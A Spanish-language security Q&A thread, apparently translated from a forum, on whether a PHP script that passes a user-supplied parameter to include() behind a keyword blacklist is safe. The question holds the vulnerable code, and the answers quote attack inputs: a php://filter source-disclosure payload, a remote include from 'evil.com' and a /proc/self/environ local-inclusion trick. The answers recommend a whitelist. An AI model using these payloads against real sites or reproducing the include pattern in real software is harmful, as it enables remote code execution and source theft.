¿El siguiente código PHP resultará en una filtración / divulgación de información del código fuente?

Navega tus respuestas
4

Soy consciente de esta vulnerabilidad a través del envoltorio de flujo filter de PHP que puede revelar el código fuente de PHP: file=php://filter/convert.base64-encode/resource=filename.php .

Así que seguí adelante para protegerme contra este tipo de ataque / explotación, al filtrar / eliminar la palabra clave "php", para intentar detener cualquier envoltorio de flujo PHP.

Cualquier idea de si esto es lo suficientemente seguro o seguro, o si existe otro posible vector de ataque / inyección para explotar & ¿Ver el código fuente de mis scripts PHP?

Como referencia, si importa, estoy sirviendo estos scripts PHP a través de nginx y PHP 5.5.9 en Ubuntu. 

if (!isset($_GET["file"])) { die(); }
$file = $_GET["file"];
if (preg_match("/data:/i", $file)) {
    die();
}
$file = trim($file);
if (preg_match("/php/i", $file)) {
    die();
}
include($file);

Gracias

    
pregunta Adeline Ho 18.05.2015 - 05:13
fuente

2 respuestas

5

En primer lugar, no solo estás revelando el contenido del archivo. Lo estás ejecutando .

Si php está configurado para permitir la inclusión de URL, el atacante simplemente puede hacer file=http://evil.com/attackercode.txt y su script ejecutará el código de los atacantes.

Alternativamente, el atacante puede realizar un archivo local incluido enviando el código php en los encabezados de solicitud y haciendo file=/proc/self/environ o cualquier otro número de ataques.

En resumen, lo ideal es que nunca debería incluir la inclusión en los datos proporcionados por el usuario.

    
respondido por el wireghoul 18.05.2015 - 05:37
fuente
1

Las listas negras rara vez son una buena idea. Una lista blanca sería un mejor enfoque.

Diga que está utilizando incluye para la selección de idioma. Compruebe si file es igual a english , french o german , por ejemplo. Llama a die() si no. Entonces no importa si un usuario proporciona http://example.com/evil.php , php://filter/convert.base64-encode/resource=filename.php o sql.php ya que su código no lo ejecutará.

Por cierto, el atacante no podría ver lo que estaba en sql.php ; el intérprete de PHP simplemente ejecutaría el código incluido como si estuviera en el archivo actual. Sin embargo, aún debe incluir solo los archivos que está esperando.

    
respondido por el SilverlightFox 18.05.2015 - 10:07
fuente

Lea otras preguntas en las etiquetas

Chrome mostrando la criptografía como 'obsoleta' [duplicada] ¿La certificación ISO 27000 aumenta el riesgo de ser atacado?